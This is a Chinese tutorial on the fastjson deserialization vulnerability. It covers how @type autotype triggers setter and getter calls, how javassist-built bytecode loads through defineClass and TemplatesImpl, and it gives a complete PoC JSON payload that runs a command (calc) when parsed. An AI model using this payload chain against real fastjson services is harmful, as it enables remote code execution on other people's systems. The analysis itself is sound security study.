1.fastjson简单使用
User:
package com.naihe;public class User {private String name;private int age;public User() {}public User(String name, int age) {this.name = name;this.age = age;}public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}
}
Demo:
package com.naihe;import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;public class FS {public static void main(String[] args) {User user1 = new User("小李",10);String JsStr1= JSONObject.toJSONString(user1);System.out.println(JsStr1);User user2 = new User("大李",100);String JsStr2= JSONObject.toJSONString(user2, SerializerFeature.WriteClassName);System.out.println(JsStr2);String str = "{\"@type\":\"com.naihe.User\",\"age\":1000,\"name\":\"老李\"}";Object obj1 = JSONObject.parse(str);System.out.println(obj1);Object obj2 = JSONObject.parseObject(str);System.out.println(obj2);}
}
2.反序列化漏洞分析
由于fastjson调试起来过程比较复杂,在这里直接看关键点:
首先会获取字符串的第一对引号中的内容
如果内容为@type就会加载下一对引号中的类
在JavaBeanInfo.class中会获取类中所有详细详细
在这里匹配以set开头的方法
这里判断函数名长度大于4,且以set开头,非静态函数,返回类型为void或当前类参数个数为1个的方法
methodName.length() >= 4 &&
!Modifier.isStatic(method.getModifiers()) &&
(method.getReturnType().equals(Void.TYPE) ||
method.getReturnType().equals(method.getDeclaringClass())))
函数名长度大于等于4非静态方法,以get开头且第4个字母为大写,无参数,返回值类型继承自Collection或Map或AtomicBoolean,或Atomiclnteger或AtomicLon的方法
methodName.length() >= 4 &&
!Modifier.isStatic(method.getModifiers()) &&
methodName.startsWith("get") &&
Character.isUpperCase(methodName.charAt(3)) &&
method.getParameterTypes().length == 0 &&
(Collection.class.isAssignableFrom(method.getReturnType()) ||
Map.class.isAssignableFrom(method.getReturnType()) ||
AtomicBoolean.class == method.getReturnType() ||
AtomicInteger.class == method.getReturnType() ||
AtomicLong.class == method.getReturnType()))
其实本质就是fastjson会利用反序列化通过无参构造创建一个对象,不通过setter或getter方法进行赋值与输出操作
因此我们只需要找到满足条件的类就行,这里一般利用的是 TemplatesImpl链来加载字节码,从而rce等操作
下面我们来证明一下我们的观点
在setter方法中添加一段命令执行的代码
package com.naihe;public class User {private String name;private int age;public User() {}public User(String name, int age) {this.name = name;this.age = age;}public String getName() {return name;}public void setName(String name) {this.name = name;Runtime.getRuntime().exec("clac");}public int getAge() {return age;}public void setAge(int age) {this.age = age;}
}
Demo:
package com.naihe;import com.alibaba.fastjson.JSONObject;public class Demo1 {public static void main(String[] args) {String str = "{\"@type\":\"com.naihe.User\",\"age\":1000,\"name\":\"老李\"}";Object obj1 = JSONObject.parse(str);}
}
3.字节码加载
1.利用defineClass加载字节码
package com.naihe;import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;public class DC {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException, NotFoundException, CannotCompileException, IOException {//通过字节码构建恶意类ClassPool classPool=ClassPool.getDefault();String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";classPool.appendClassPath(AbstractTranslet);CtClass payload=classPool.makeClass("CommonsCollections3");payload.setSuperclass(classPool.get(AbstractTranslet));payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");byte[] code=payload.toBytecode();Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);defineClass.setAccessible(true);Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "CommonsCollections3", code, 0, code.length);yyds.newInstance();}
}
2.利用TemplatesImpl加载字节码
package com.naihe;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;import java.lang.reflect.Field;
import java.util.Base64;public class TL {private static void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, fieldValue);}public static void main(String[] args) {try {ClassPool classPool=ClassPool.getDefault();String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";classPool.appendClassPath(AbstractTranslet);CtClass payload=classPool.makeClass("CommonsCollections3");payload.setSuperclass(classPool.get(AbstractTranslet));payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");byte[] codes=payload.toBytecode();byte[][] _bytecodes = new byte[][] {codes,};TemplatesImpl templates = new TemplatesImpl();setFiledValue(templates, "_bytecodes", _bytecodes);setFiledValue(templates, "_name", "whatever");setFiledValue(templates, "_tfactory", new TransformerFactoryImpl());templates.newTransformer();} catch (Exception e) {e.printStackTrace();}}}
poc:
package com.naihe;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import java.io.IOException;import java.util.Base64;public class fastjson { public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException { ParserConfig config = new ParserConfig(); ClassPool classPool=ClassPool.getDefault(); String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections3"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); String str = Base64.getEncoder().encodeToString(payload.toBytecode()); String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+str+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}"; Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField); }}
3.利用分析
fastjosn一般是使用TemplatesImpl链来进行攻击的,在上面其实已经分析过fastjson在反序列化的时候会调用满足条件的getter方法,因此就会调用TemplatesImpl类的getOutputProperties方法,然后通过getOutputProperties,调用newTransformer
仔细观察就会发现poc中将byte进行了base64加密,那么这是为什么了?
在调用deserialze时会执行base64解密
造成_bytecodes需要进行base64编码